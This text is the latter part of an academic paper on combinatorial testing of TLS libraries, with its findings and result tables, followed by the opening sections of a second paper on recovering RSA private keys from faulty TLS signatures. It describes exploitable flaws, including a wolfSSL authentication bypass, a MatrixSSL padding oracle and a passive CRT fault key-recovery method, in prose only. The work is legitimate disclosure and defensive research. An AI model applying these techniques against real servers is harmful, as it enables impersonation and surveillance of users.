categorized based on their impact. We distinguish between im-
mediately exploitable issues (Exploit) and issues that illicitly
affect the cryptographic computations in a session (Crypto).
The category ’Other’ accounts for a vast range of findings
that do not affect the security or interoperability, such as mi-
nor state machine bugs or support for deprecated (but safe)
features. ’Alerts’ refers to alert handling and is a category
separated from these findings as the deviations are marginal
but may result in a vulnerability under certain circumstances.

number of tests that only failed partially. Excluding record
fragmentation, the results are closer to other implementations,
as seen by the number of entirely failed tests.

s2n has a large number of tests that failed completely. This
is due to s2n’s error handling; when an error occurs, or mis-
behavior of the peer is detected, s2n sends an alert but does
not close the connection. As far as we evaluated this state, it
is impossible to send further handshake messages or appli-
cation data, but this requires a detailed analysis for each test
case. The connection should be closed properly to facilitate
the evaluation and ensure that it is impossible to continue a
session.

Due to incorrect handling of HelloRetryRequest mes-
sage flows with the TLS_AES_256_GCM_SHA384 cipher
suite, the MatrixSSL client often failed to complete
handshakes. Since tests in TLS 1.3 usually require a
HelloRetryRequest to enforce a key exchange group other
than the default group of the client, this intolerance affects
the results of many test cases.

6.2.3 Detailed Findings
wolfSSL We found a directly exploitable authentication by-
pass for wolfSSL clients when TLS 1.3 is used. An attacker
can force the client to accept a TLS connection by sending
a Certificate message with an empty certificate list. The
wolfSSL client then ignores the CertificateVerify mes-
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sage and accepts any unauthenticated key share it received.
wolfSSL’s behavior is a direct violation of an RFC require-
ment that demands a fatal alert upon receiving an empty
Certificate message in TLS 1.3. While our evaluation
was still ongoing, the bug had already been independently
discovered, reported3 and fixed in version 4.7.0.

Our evaluation also revealed that the wolfSSL client ac-
cepted a signature algorithm it did not offer. This only applied
to ECDSA_SHA224 and hints towards an internal misun-
derstanding, as the RSA_SHA224 algorithm and the named
group secp224r1 are among the offered parameters. Addi-
tionally, the server implementation showed an intolerance
towards ClientHello messages that contain more than 150
cipher suites. This may become an interoperability issue for
feature-rich clients.

MatrixSSL We discovered a segmentation fault4 in Ma-
trixSSL. The problem occurred only in cipher suites that
use HMAC SHA256 CBC, due to incorrect initialization of
SHA256 for the Lucky13 mitigation [19] when a record with
invalid padding is received. An attacker could exploit this vul-
nerability to retrieve information about the validity of padding,
leading to a padding oracle attack [64].

Our test results further showed that the MatrixSSL client
mishandled length fields. In TLS 1.3, messages with an up
to two-byte reduced handshake message length field resulted
in an infinite loop during the message parsing. This behavior
could be exploited in a denial of service attack. In TLS 1.2,
MatrixSSL proceeded to parse handshake messages correctly
despite the invalid handshake message length field. Because
negotiating an extended master secret was modeled as a pa-
rameter of our combinatorial testing, we noticed an interesting
behavior in how the length field was used. When both parties
send the corresponding extension, all handshake messages
exchanged influence the key calculation. While MatrixSSL
seemingly ignored the length field for parsing, its value deter-
mined which bytes influence the digest causing a discrepancy
between the actual parsed message and the message included
in the digest, which we categorize as a ’Crypto’ finding in our
overview. However, we currently do not see a way to exploit
this behavior.

The MatrixSSL client also accepted ServerKeyExchange
messages that negotiate a group that has not been offered in
the ClientHello. This applies to the groups secp192r1 and
secp224r1, which are deprecated by RFC 8422 and 8446 and
have comparatively weak parameters. For a developer, it is not
evident that the client accepts these weaker curves based on
an analysis of the ClientHello message. This misbehavior
results in the second ’Crypto’ finding for MatrixSSL

Furthermore, we discovered an interoperability issue in
MatrixSSL server where it could not process a ClientHello

3CVE-2021-3336
4CVE-2022-23809

if a client offered more than 32 named groups for the key
exchange.

LibreSSL We noticed that it is possible to send an addi-
tional encrypted ChangeCipherSpec message after complet-
ing a TLS 1.2 handshake with Libressl. Further analysis
revealed that this triggered a bug in LibreSSL, which caused
it to start decrypting incoming messages with its own write
key, such that the same key is used in both directions. The bug
is very similar to a bug found in OpenSSL by de Ruiter and
Poll in 2015 [54]. This is another example of a ’Crypto’ find-
ing. We further observed that the LibreSSL server is not able
to process a SignatureAlgorithms extension that includes
more than 32 algorithms.

s2n Like MatrixSSL, the s2n client accepts a
ServerKeyExchange message that negotiates an un-
proposed named group. In this case, this only applies to the
groups X25519 and secp521r1, which are not deprecated and
have strong parameters. Nevertheless, we stress that even
these particular groups could be targeted in the future. Secure
parameter negotiation is a fundamental security property of
every cryptographic protocol that prevents future attacks on
particular algorithms.

6.3 t-way Testing

Among the failed tests of individual libraries, we found mul-
tiple cases where a test template only failed partially. Ef-
fectively, this means that a failure only surfaced for specific
parameter choices. This concerns less crucial compliance
and interoperability issues, the negotiation of unproposed
cryptographic primitives, but most importantly, the padding
oracle vulnerability in MatrixSSL. Our evaluation identified
29 of these partially failed tests across all evaluated libraries.5

We argue that these test templates in particular justify the
concept of CT, as a traditional software test would require
multiple manually written tests aimed at these specific param-
eter choices to uncover the same issue.

Testing Strength While our evaluation used a testing
strength of three, all of the failures we found were caused
by a combination of at most two parameters. This means
that a lower test strength with fewer handshakes overall can
be used to identify the same faults. Given the extent of our
parameters, even an execution with strength one may uncover
all faults, but it is not guaranteed that all relevant combina-
tions appear in the test inputs, and therefore some flaws might
be missed. At the same time, a strength above three may
uncover additional, more complex faults not yet observed in
our evaluation.

5We excluded partially failed tests of wolfSSL, MatrixSSL, and GnuTLS
caused by prevalent bugs.
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7 Discussion

Our evaluation revealed a vast range of implementation fail-
ures which proves that our methodology can be beneficial
to the quality and security of future versions of the analyzed
libraries. Still, other testing approaches remain necessary for
a complete picture of an implementation’s quality.

Limitations Since our methodology focuses on black box
system tests, limitations to the testable requirements apply.
This mostly affects requirements that can not or not reliably
be tested without access to the internals of the implementa-
tion. Additionally, the SUT must have all features enabled
that should be tested. In contrast to software verification, CT
can only find flaws that affect code that is actually executed.
In order to do so, it is essential that all relevant parameters are
modeled and that the values considered by CT also cover rel-
evant corner cases. Both parameters and their values, require
some amount of intuition of which aspects of an input can
potentially cause software faults. Additionally, the design of a
test template for a given requirement is not bijective, leaving
some decisions to the tester.

Another drawback of our IPM constraining methodology is
that it always tests with only one invalid parameter. A combi-
nation of multiple invalid parameters may yield a more severe
implementation error than the one detected with a single non-
conformity but makes the implementation of a reliable test
oracle harder. The applicability of our approach is eventually
also limited by the precision of the tested requirement. If im-
plicit limitations exist in the standard, which are not reflected
by an explicit requirement, there is a chance that they are
missed in the testing process.

Finally, we created our test templates manually after sys-
tematic analyses of TLS RFCs. To extend TLS-Anvil to con-
sider new tests (e.g., tests with modified X.509 certificates),
further manual analysis is necessary. Unfortunately, there are
no practical, fully automatic algorithms to generate tests from
specifications [13]. However, we want to stress that while
the test template generation demands a significant amount of
work, this work only needs to be performed once. The result-
ing test templates can then be used to test different libraries in
different versions and can be included in continuous testing
frameworks.

RFC Discussion In our case study, we noticed shortcom-
ings which ultimately hindered tests for some requirements
and contribute to the difficulty of automating the derivation of
test templates. First of all, the RFCs use the keywords from
RFC 2119 to emphasize absolute requirements but do not do
so consistently. Coming back to the example from Section 4.2,
the TLS 1.2 RFC never explicitly uses a mandatory keyword
to point out the importance of MAC validation. The same
applies to the validation of signatures computed by a TLS
server. However, these values are a crucial part of the security
of TLS and, therefore must be validated. Shortcomings like

these must be considered to obtain an extensive and meaning-
ful test suite. The newer TLS 1.3 RFC is already clearer in
this regard. Within the considered RFCs, restrictions were
often only imposed on the sender of a message without speci-
fying what the recipient must do upon detecting a violation.
A requirement to enforce these restrictions whenever possible
would reduce the leeway and hence enable meaningful tests.

Ultimately, each requirement necessitates an analysis if it
is suitable for the testing approach used. This task can be far
from trivial as deep domain knowledge may be necessary to
determine this categorization correctly.

Responsible Disclosure and Feedback We responsibly
disclosed all of our findings to the respective developers. Dur-
ing the disclosure process, multiple developers stated that
they intentionally violate RFC requirements in specific cases.
As an example, in TLS 1.2 peers are not allowed to resume
a session that has been terminated by a fatal alert. However,
when multiple sessions take place in parallel, this requirement
is difficult to implement. Multiple developers also stated that
they intentionally send different alerts or no alerts at all. One
reason was to minimize the risk of creating an alert-oracle
for attacks. We do, however, stress that the specified alert
handling of current TLS RFCs does not result in a known,
exploitable oracle but is considered to be secure and refer
to our discussion in Section 6.2. Our original test suite con-
tained 18 additional test templates, which we removed from
the test suite after discussions with different library devel-
opers. Their reasoning convinced us that in these cases our
interpretation of the RFC was too strict and that their library
behavior was indeed valid. Our presented evaluation does
not contain these additional test templates anymore. There
were also some cases where the developers argued that it is
unreasonable to follow the specification. For example, in
some tests, a server that supports TLS 1.3 and TLS 1.2 would
need different alert handling for the same effective test. The
situation becomes even more tricky when the server has not
decided which protocol version to speak yet. For example,
a server that receives a malformed or illegal ClientHello
message would first need to evaluate the supported protocol
version of the client to decide upon the correct alert handling
rules. Correctly handling these nuances can be very complex,
and it is arguable if the strict RFC conformance across all
supported versions is worth the added complexity.

The security bugs we reported and most of our other reports
have been acknowledged by the developers and will be consid-
ered for future releases. Since most failed test templates only
failed for single or very few libraries, we conclude that the
developers in general share our understanding of the RFCs.

8 Related Work
TLS Testing There are several tools to test TLS libraries.
TLS-Attacker is a framework to analyze TLS libraries. So-
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morovsky published the first version of TLS-Attacker in
2016 [58]. He presented basic concepts behind the frame-
work and showed how to implement known TLS attacks and
simple fuzzing strategies. Somorovsky also showed that it is
generally possible to develop test suites with TLS-Attacker,
by implementing proof of concept system tests. The pre-
liminary testing strategies did not include CT techniques or
comprehensive test oracles for them. We use an extended ver-
sion of TLS-Attacker in TLS-Anvil. Similar to TLS-Attacker,
FLEXTLS [6, 20] is a framework to build tools to test TLS
libraries. It was used to find vulnerabilities like FREAK or
SKIP [5]. FLEXTLS is no longer maintained.
Another testing library is Boarssl [9], which is a test suite
that is developed alongside of Bearssl. Boarssl is used in the
Twrch framework, mainly to test Bearssl. ’tlsfuzzer’ [62] is,
despite its name, a test suite for TLS implementations that
implements test cases for TLS servers. Among those test
cases are explicit RFC requirements and specific test cases
to prevent regressions for previous discovered bugs. Another
test suite is implemented in the commercial tool ’TLS Inspec-
tor’ [1] by the company Achelos. TLS Inspector implements
test cases derived from selected requirements of the RFCs and
the guideline TR-03116-4[25] of the German Federal Office
for Information Security, which focuses on additional explicit
requirements for secure TLS configurations.

Combinatorial Testing The approach of t-way testing of
TLS libraries is not new. In [23, 56, 57] t-way testing was used
to generate variations of the TLS handshake with different pa-
rameters. The authors then used a reference implementation
as a test oracle and compared the behavior of different imple-
mentations. These approaches were able to show that differ-
ent implementations behaved differently in response to the
generated inputs. This approach is generally not suitable for
complex protocols like TLS, as oftentimes multiple answers
should be considered valid by the test oracle for a given input.
For example, if the SUT and the reference library support dif-
ferent algorithms, connection termination or handshake con-
tinuation are both valid responses to a given ClientHello.
This produces unmanageable amounts of false positives dur-
ing an automated evaluation, which showed in the authors’
inability to convert their observed behavior differences into
actionable findings. In [29] combinatorial testing techniques
were used together with differential testing methods to test
X.509 certificate validation. They then manually analyzed the
discovered differences for vulnerabilities.

Further Automatic Test Input Generation Techniques
Since generating test inputs is a crucial aspect of testing,
various studies analyzed techniques to fulfill this task. Over
the recent years, fuzzing has been widely used in practice
to find inputs that crash software or lead to memory corrup-
tion. Current research in this field focuses on optimization
strategies [14, 34] that yield a higher coverage within less
execution time. Another technique for the generation of test

inputs is based on symbolic execution. In contrast to using
specific test inputs, symbolic execution first uses an inter-
preter that analyzes the branches within the software using
symbolic variables. This ultimately allows for exhaustive
branch coverage, but the efficiency of the approach is limited
by the complexity of the software [33]. In the context of
TLS, symbolic execution has been successfully used by Chau
et al. [12] to evaluate compliance of the X.509 certificate
validation logic in TLS libraries.

Requirements Engineering A sub-discipline in software
engineering is Requirements Engineering (RE) [26], with the
goal to collect, document, validate, and manage requirements
for a given system. Automatically extracting requirements
from documents written in Natural Language and the deduc-
tion of program code from the extracted requirements has
proven to be very difficult. A study for RFC-based X.509
testing in the TLS landscape by Chen et al. [13] developed al-
gorithms to generate tests from RFCs but ultimately had to fall
back to performing steps manually due to limitations in the
current state of Natural Language Processing. Their approach
also focused on passages of the RFCs marked as absolute
requirements based on the terminology of RFC 2119 [39]. A
subsequent study by Chen et al. tested the applicability of the
methodology to developer guides of payment services [15].
Again, a fully automated approach was not feasible, and man-
ual work was required.

9 Conclusions and Future Work

In this work, we presented a methodology to conduct combi-
natorial testing for complex protocols such as TLS. Our eval-
uation of the technique revealed 239 issues overall, including
15 interoperability issues, five issues that illicitly affect cryp-
tographic computations, and three immediately exploitable
vulnerabilities. Coming back to our first research question,
we determine that multiple TLS libraries still show a range of
unintended deviations from the protocol specification, even to
the extent of exploitable vulnerabilities. While these individ-
ual findings are surprising, given the extensive research and
testing that has been conducted for the considered libraries
in the past, we also found that the overall compliance to the
specification is high. As for our second and third research
question that concern the applicability of CT and effectiveness
of our approach of utilizing CT, we found that our test oracles
based on test templates produced actionable results and are
thus better suited than the reference implementation-based ap-
proaches of previous studies. These resulted in unmanageable
differences between TLS libraries requiring further manual
analysis, which ultimately could not be converted into real
software faults.

While TLS-Anvil already considers a large number of re-
quirements from the RFCs, the TLS protocol contains even
more features with testable requirements that could be in-
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corporated. Additionally, our evaluation only considered the
default configuration of TLS libraries. These can often be con-
figured at build time to use certain features and optimizations
which might influence their behavior. It may be of interest to
include such build parameters in the IPMs used for the com-
binatorial testing to also find flaws that are only present in
specific configurations. Furthermore, TLS related protocols
like DTLS and QUIC could be tested with TLS-Anvil in the
future. Generally, the presented methodology is suitable for
standardized protocols with many different implementations
(like TLS, SSH or IPSEC). While it is also applicable to
protocols with only a single implementation, it is more cost
efficient to write individual tests or test templates for that spe-
cific implementation since the presented black box approach
requires preliminary steps, such as the feature extraction.

Our evaluation showed that security-critical bugs, such as
the authentication bypass for wolfSSL, can be found in widely
used TLS libraries based on testing RFC requirements. The
ability to test these requirements strongly depends on the
tester’s ability to identify these requirements. We, therefore,
recommend that future specifications continue the trend set by
TLS 1.3 to mark requirements as precise as possible. The TLS
1.3 specification was also already implemented alongside of
the writing process; for future specifications, it may prove
valuable to also develop a test suite like TLS-Anvil alongside
of the specification. The developed test suite could serve as
an authority on how the RFCs, which are written by humans
for humans, have to be interpreted by machines, and ensure
that all implementations are, and stay interoperable to one
another. It would also increase the confidence of developers in
their implementation, which would speed up the development
process and ultimately help to adapt newer standards quicker.
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Appendix

Parameter SUT Version Values

Cipher Suite 3 - 44
Named Group 2 - 13
Signature Algorithm5 5 - 15
Certificate2,5 4 - 18
Record Fragment Length 4
TCP Fragmentation bool
Session Ticket1,3 bool
Extended Master Secret1,3 bool
Encrypt-then-MAC1,3 bool
ALPN3 bool
GREASE Cipher Suites4 bool
GREASE Named Groups4 bool
GREASE Signature Algs4 bool
Heartbeat3 bool
Padding3 bool
Renegotiation Indication3 bool
PSK Key Exch. Modes3 bool
Send legacy CCS bool

Additional Padding Bytes 3
Alert Description 34
Application Data Length 16
Manipulated AEAD Tag Byte 16
Manipulated Ciphertext Byte 16
Manipulated MAC Byte 32 - 48
Manipulated PRF Byte 32 - 48
Manipulated Signature Byte 5 - 10
Manipulated Bit in Chosen Byte 8
Unproposed Compression Method 2
Selected Grease Cipher Suite 16
Selected Grease Extension 16
Selected Grease Named Group 16
Selected Grease Protocol Version 16
Selected Grease Signature Algo 16
Invalid ChangeCipherSpec 4
Protocol Message Type 6
Invalid Protocol Version 1 - 4

Used to test connection endpoint client server both
Used in version TLS 1.2 TLS 1.3 both
1: TLS 1.2 extensions have only been included in TLS 1.3 test templates
for server tests, as they are generally not applicable to client tests in this
version
2: For client tests, we used only valid certificates with different public
key types, signatures, and key lengths
3: Extension included or excluded from handshake messages - extensions
have only been negotiated in client tests if the client offered them
4: Appended to offered parameters
5: Parameter is only used if any message it affects gets sent by the test
template

Table 3: The parameters included commonly (top) and in
specific (bottom) IPMs created by TLS-Anvil. The number
of parameter values varies, depending on the TLS features
supported by the SUT.
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Strength t = 3 Strength t = 2 Strength t = 1

Library Version Execution Time Connections Execution Time Connections Execution Time Connections
BearSSL 0.6 19.1h 61253 3.7h 12088 0.5h 1825
BoringSSL 3945 14.8h 48929 3.4h 10587 0.6h 1844
Botan 2.17.3 6.1h 26394 1.3h 5485 0.3h 965
GnuTLS 3.7.0 31.2h 88730 6.1h 17328 0.9h 2726
LibreSSL 3.2.3 38.4h 121650 7.7h 25600 1h 3869
MatrixSSL 4.3.0 20.8h 57598 5.1h 12777 1.1h 2541
mbed TLS 2.25.0 67.2h 181265 9.6h 35087 0.9h 4041
NSS 3.60 33.6h 91521 7h 18774 1h 2922
OpenSSL 1.1.1i 31.2h 95379 5.7h 18522 0.8h 2861
Rustls 0.19.0 13.6h 30761 3.4h 7517 0.1h 568
s2n 0.10.24 5.9h 26669 1.4h 5640 0.3h 1023
tlslite-ng 0.8.0-a39 55.2h 118167 8.7h 22784 1.2h 3389
wolfSSL 4.5.0 50.4h 64079 11.5h 14618 2.6h 2986

Table 4: Overview of the number of connections and the execution time for each server implementation with different testing
strengths.

Library Tests Passed Passed
[%]

Strictly
succeeded

Conceptually
succeeded

Ratio
conceptually

Failed
partially

Failed
fully

Se
rv

er
s

BearSSL 109 102 93.6 48 54 52.9 1 6
BoringSSL 219 213 97.3 202 11 5.2 0 6
Botan 101 97 96.0 93 4 4.1 0 4
GnuTLS 240 229 95.4 221 8 3.5 3 8
LibreSSL 222 213 95.9 204 9 4.2 0 9
MatrixSSL 222 173 77.9 159 14 8.1 10 39
mbed TLS 113 105 92.9 80 25 23.8 1 7
NSS 225 220 97.8 205 15 6.8 0 5
OpenSSL 237 230 97.0 223 7 3.0 0 7
Rustls 219 209 95.4 191 18 8.6 1 9
s2n 104 95 91.3 44 51 53.7 1 8
tlslite-ng 239 233 97.5 228 5 2.1 1 5
wolfSSL 219 98 44.7 63 35 35.7 112 9

C
lie

nt
s

BearSSL 75 73 97.3 27 46 63.0 0 2
BoringSSL 190 184 96.8 172 12 6.5 0 6
Botan 78 75 96.2 74 1 1.3 2 1
GnuTLS 201 128 63.7 120 8 6.3 62 11
LibreSSL 193 178 92.2 169 9 5.1 1 14
MatrixSSL 193 133 68.9 113 20 15.0 40 20
mbed TLS 82 78 95.1 66 12 15.4 0 4
NSS 197 184 93.4 181 3 1.6 0 13
OpenSSL 197 184 93.4 181 3 1.6 0 13
Rustls 188 178 94.7 128 50 28.1 2 8
s2n 73 38 52.1 26 12 31.6 0 35
tlslite-ng 203 180 88.7 173 7 3.9 3 20
wolfSSL 198 105 53.0 67 38 36.2 85 8

Table 5: Overview of the results of the test templates for each tested library for strength t = 3. The columns on the left summarize
the number of passed test templates, while the columns on the right state more detailed results.
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8446 5246 8701 8422 7919 7568 6066 7507 7465 7366 6176 7685 7457 State
Machine

Length
Field

Se
rv

er
s

Test Templates 97 46 10 14 5 3 6 2 2 2 1 1 0 25 44

BearSSL 0/0 41/43 5/5 9/13 1/1 3/3 3/4 2/2 0/0 0/0 1/1 1/1 0/0 17/17 19/19
BoringSSL 77/82 42/43 10/10 13/13 1/1 3/3 1/1 2/2 0/0 0/0 1/1 1/1 0/0 24/24 38/38
Botan 0/0 34/35 5/5 10/13 4/4 3/3 1/1 0/0 0/0 0/0 1/1 1/1 0/0 18/18 20/20
GnuTLS 88/91 39/43 10/10 11/13 4/4 3/3 3/4 2/2 0/0 2/2 1/1 1/1 0/0 24/24 41/42
LibreSSL 78/82 41/43 10/10 13/13 2/2 3/3 1/1 2/2 0/2 0/0 1/1 1/1 0/0 23/24 38/38
MatrixSSL 58/83 35/43 10/10 9/12 1/1 2/3 4/4 0/0 0/0 0/0 1/1 1/1 0/0 20/22 32/42
mbed TLS 0/0 40/43 5/5 10/13 2/2 3/3 2/4 2/2 0/0 2/2 1/1 1/1 0/0 18/18 19/19
NSS 80/83 42/43 10/10 13/13 4/4 3/3 1/1 2/2 1/2 0/0 1/1 1/1 0/0 24/24 38/38
OpenSSL 86/90 43/43 10/10 10/13 2/2 3/3 4/4 2/2 0/0 2/2 1/1 1/1 0/0 24/24 42/42
Rustls 83/88 34/36 10/10 11/12 1/1 3/3 1/1 0/0 0/0 0/0 1/1 1/1 0/0 24/24 40/42
s2n 0/0 37/41 5/5 10/12 1/1 3/3 1/1 2/2 0/0 0/0 1/1 1/1 0/0 17/18 17/19
tlslite-ng 88/91 42/43 10/10 11/13 4/4 3/3 1/1 2/2 0/0 2/2 1/1 1/1 0/0 24/24 44/44
wolfSSL 27/82 18/39 0/10 3/12 1/4 3/3 0/1 2/2 0/0 0/2 1/1 0/1 0/0 7/24 36/38

C
lie

nt
s

Test Templates 90 35 14 11 4 1 7 1 1 1 2 1 1 15 29

BearSSL 0/0 35/35 5/5 9/10 0/0 1/1 1/1 1/1 1/1 0/0 2/2 0/0 1/1 7/7 10/11
BoringSSL 80/86 35/35 14/14 9/9 0/0 1/1 0/0 1/1 1/1 0/0 2/2 0/0 1/1 15/15 25/25
Botan 0/0 31/31 5/5 8/9 3/4 1/1 1/1 1/1 1/1 0/0 2/2 0/0 1/1 6/7 15/15
GnuTLS 33/88 31/35 6/14 9/9 4/4 1/1 1/1 1/1 1/1 1/1 2/2 0/0 1/1 9/15 28/28
LibreSSL 78/86 33/35 10/14 9/9 2/2 1/1 0/0 1/1 0/1 0/0 2/2 0/0 1/1 15/15 26/26
MatrixSSL 51/87 30/35 8/14 8/10 0/0 1/1 1/1 1/1 1/1 0/0 2/2 0/0 1/1 14/15 15/25
mbed TLS 0/0 33/35 4/5 9/10 2/2 1/1 1/1 1/1 1/1 1/1 2/2 0/0 1/1 7/7 15/15
NSS 80/87 34/35 10/14 8/9 2/2 1/1 0/0 1/1 1/1 1/1 2/2 0/0 1/1 15/15 28/28
OpenSSL 80/87 34/35 10/14 8/9 2/2 1/1 0/0 1/1 1/1 1/1 2/2 0/0 1/1 15/15 28/28
Rustls 78/87 31/31 14/14 9/9 0/0 1/1 1/1 1/1 1/1 0/0 2/2 0/0 1/1 14/15 25/25
s2n 0/0 19/35 2/5 3/8 0/0 1/1 1/1 1/1 1/1 0/0 2/2 0/0 1/1 7/7 0/11
tlslite-ng 72/88 34/35 9/14 9/9 4/4 1/1 1/1 1/1 1/1 1/1 2/2 1/1 1/1 14/15 29/29
wolfSSL 30/87 22/35 6/14 5/8 2/4 1/1 0/0 1/1 1/1 0/1 2/2 0/0 1/1 7/15 27/28

Table 6: Overview of the number of implemented, executed, and passed test templates for each RFC or category for strength
t = 3. Client and server test templates are not disjoint sets. Our test suite consists of 408 unique test templates.

RFC Description
5246 [40] Primary TLS 1.2 standard, defining handshake, record layer, mandatory cipher suites, basic extensions, and

client/server behavior in unexpected situations
8446 [51] Primary TLS 1.3 standard, defining handshake, record layer, mandatory cipher suites, basic extensions, and

client/server behavior in unexpected situations
6066 [41] Specifies new extensions for TLS
6176 [42] Deprecates SSL 2 and forbids the fallback to this protocol
7366 [43] Specifies an Encrypt-then-MAC extension in response to CBC padding oracle attacks [19]
7457 [44] Summarizes known attacks on TLS and DTLS
7465 [45] Prohibits usage of RC4 following papers on breaking the stream cipher [2, 22, 63]
7507 [46] Specifies downgrade protection mechanisms
7568 [47] Deprecates SSL 3 and forbids the fallback to this protocol
7685 [48] Specifies a padding extension to inflate the ClientHello to account for servers with parser intolerances
7919 [49] Specifies the negotiation of finite field Diffie-Hellman parameters
8422 [50] Specifies handling of elliptic curve cipher suites for TLS 1.2 and earlier versions
8701 [52] Specifies a set of ’GREASE’ constants that are meant to ensure interoperability between peers with different

protocol features

Table 7: Brief overview of the considered RFCs and their contents
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Abstract
It is well known in the cryptographic literature that the most
common digital signature schemes used in practice can fail
catastrophically in the presence of faults during computation.
We use passive and active network measurements to analyze
organically-occuring faults in billions of digital signatures
generated by tens of millions of hosts. We find that a persistent
rate of apparent hardware faults in unprotected implementa-
tions has resulted in compromised certificate RSA private
keys for years. The faulty signatures we observed allowed us
to compute private RSA keys associated with a top-10 Alexa
site, several browser-trusted wildcard certificates for organiza-
tions that used a popular VPN product, and a small sporadic
population of other web sites and network devices. These
measurements illustrate the fragility of RSA PKCS#1v1.5
signature padding and provide insight on the risks faced by
unprotected implementations on hardware at Internet scale.

1 Introduction

During 2009-2011, Toyota issued multiple vehicle recalls
after hundreds of crashes had been reported relating to un-
intended acceleration. Initially, Toyota placed the blame on
driver error, shifting floor mats, and sticky accelerator pedals.
In 2013 expert witness Michael Barr testified in the Bookout
v. Toyota Motor Corp. case that a single bit flip sufficed to
kill a throttle monitoring task, resulting in uncontrolled accel-
eration [4, 55]. Toyota lost the case and began settling with
crash victims out of court.

The exact cause of the memory corruption in Toyota ve-
hicles was never established: it could have been buffer over-
flows, cosmic rays, or hardware faults. No matter the underly-
ing cause, the existing hardware protections were insufficient,
and the software was brittle in the face of hardware errors.

Cryptographic software engineering is—fortunately—less
often considered to be a matter of life or death. Nonetheless,
faults can have similarly catastrophic impact on cryptographic
systems. As prior work has shown, attacker-induced or natu-

rally occurring bit flips can corrupt cryptographic computa-
tions, causing them to produce incorrect results, or even leak
secret information or keys [12].

In this paper, we show that these attacks can be applied
entirely passively, allowing a network adversary to derive
TLS RSA private keys by observing network traffic. When
errors occur1 during a server’s RSA signature computation,
the resulting failed handshake can give an attacker sufficient
information to derive the server’s long-term private key.

We demonstrate these attacks by collecting 5.8 billion TLS
handshakes from two different university networks. These
handshakes included 3.3 billion connections using TLS 1.2 or
below and 2.7 billion server signatures. Over a few months,
we found nearly 2,000 non-validating digital signatures from
failed handshakes. Some of these failed handshakes allowed
us to compute three RSA private keys associated with Baidu,
a multinational technology company and top 10 Alexa site.
These keys were used to secure more than a million connec-
tions to hundreds of hosts in our dataset corresponding to
dozens of Baidu’s cloud-based services.

This passive attack is particularly concerning in the con-
text of nation-state adversaries conducting mass surveillance.
Unlike active attacks or remote compromise, which risk leav-
ing evidence of tampering, passive fault analysis leaves no
trace on either client or server. A network adversary only
need observe network traffic passively and perform simple
cryptographic calculations, capabilities that modern nation
states are known to posses and employ for the purposes of
network surveillance. This attack is exacerbated when TLS
servers and clients negotiate non-forward secure ciphers, al-
lowing the network attacker to passively decrypt encrypted
TLS payloads using the server’s private key, without leaving
any trace of compromise.

In addition to demonstrating passive fault attacks, we also
carried out active scans of TLS hosts, and performed a retro-
spective analysis of historical TLS scan data between 2015
and 2022 that included tens of thousands of non-validating

1perhaps due to bit flips, faulty hardware, memory corruption, or disk failure
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signatures. In total, we computed 127 private keys from these
active scans.

We compare our results to active scans from a 2015 techni-
cal report by Weimer [53], who appears to have been the first
to observe that active scans could be used to detect or trigger
these types of RSA signature faults at scale. He found that
several open-source TLS libraries did not implement counter-
measures against signature faults, and performed active TLS
scans over a period of months that resulted in a few hundred
invalid signatures that successfully compromised private keys,
mostly from devices from several vendors.

Our passive analysis and recent active scans show that
these problems are still present in current implementations.
We were able to compute the browser-trusted private keys
for a handful of user-facing web sites from sporadic faults,
as well as observing dozens of certificate private keys com-
promised by devices. These certificates span from untrusted
device default certificates to CA-signed browser-trusted wild-
card certificates for entire organizations. Although all of the
open source libraries we inspected have implemented counter-
measures, it appears some proprietary TLS implementations
are still vulnerable to this attack.

From signature faults to key recovery. The flaw we ex-
ploit is well known in the cryptographic side channel literature.
Boneh, DeMillo, and Lipton describe in their 1997 paper [11]
an RSA key recovery attack: Almost all RSA implementations
use the Chinese Remainder Theorem (CRT) optimization for
modular exponentiation in RSA signing, but errors that occur
in one of the half-exponentiations in this algorithm can result
in leaking information that can be used to derive the RSA
private key. Lenstra improved the attack to require only one
signature when the message is known [12, 39]. This attack
works against any deterministic RSA signature scheme using
the CRT optimization. The countermeasure to these attacks is
to validate the RSA signature before sending it.

Prior to Weimer’s work in 2015 [53], almost no implemen-
tations validated RSA signatures before sending. Following
the report, all of the software TLS libraries Weimer contacted
implemented countermeasures, and Cavium issued a patch
for their cryptographic accelerators, which appeared to be at
fault for several of the vulnerable devices he discovered.

In this work, we find that spontaneous faults compromising
RSA keys through PKCS#1v1.5 signatures continue to be
present as a low but persistent rate in both passive and active
network measurements over time, despite the attention drawn
to this vulnerability in 2015 [53]. In the present era in 2022,
we find that this flaw is not just present in the types of network
devices that have already been observed to suffer from crypto-
graphic implementation flaws in previous studies [29, 30, 53],
but that it also affects user-facing websites and infrastructure
that receive significant amounts of network traffic.

These vulnerabilities are due to a hazardous combina-
tion of cryptographic libraries vulnerable in the face of

computational errors, and the brittle nature of the RSA
PKCS#1v1.5 signature padding scheme as used in TLS 1.0–
1.2. PKCS#1v1.5 signature padding makes key compromise
trivial in the presence of CRT faults. Prior to TLS 1.3, hand-
shakes take place in plaintext, providing all the information
a passive network adversary needs to validate signatures on
observed connections, or derive keys when errors occur.

On a more positive note, TLS 1.3 provides multiple coun-
termeasures against these issues, including moving the key
exchange earlier in the handshake in order to ensure that
certificates and signatures are sent encrypted, and using RSA-
PSS signature padding, which prevents this type of key com-
promise if implemented correctly.

Contributions Our contributions are as follows:
• We study the first passively-collected dataset of 2.7 bil-

lion server-generated TLS signatures on real-world net-
work traffic from two universities.
• We investigate the impact of hardware faults in several

signature schemes in practice, including RSA PKCS#1
v1.5, RSA-PSS, and ECDSA
• We demonstrate both the feasibility and the impact of

passively monitoring for cryptographic hardware faults.
• We perform a retrospective analysis of historical TLS

scan data and supplement with current TLS scan data to
examine the impact of this vulnerability over time.
• We discuss defenses to this attack at the application,

library, and protocol level.

Ethical considerations

Passive measurement of real network data invokes natural
privacy concerns. The network measurement and processing
infrastructure we use was developed in consulation with our
campus institutional review boards (IRBs) and network oper-
ations and cybersecurity staff. The tap infrastructure and data
processing protocols we use have been evaluated as exempt
by our respective IRBs.

We have taken several steps to minimize the potential ex-
posure of personally identifiable information from the human
network users whose data we analyze. Campus IP addresses
and MAC addresses that are present in the packets captured
by our infrastructure are discarded during parsing and before
storage. At UCSD, these fields are encrypted with a keyed
format-preserving encryption scheme, and at CU Boulder we
chose not to log source IP addresses at all. All content data
was discarded: we parse only the cryptographic handshakes.
In any case, because we focus on TLS, the content is all en-
crypted. We did not attempt to deanonymize any connections
or decrypt any traffic using the private keys we computed.

The active scans that we performed were rate-limited to
avoid excessive burden on the hosts we connected to, and we
followed best practices for active network scanning including

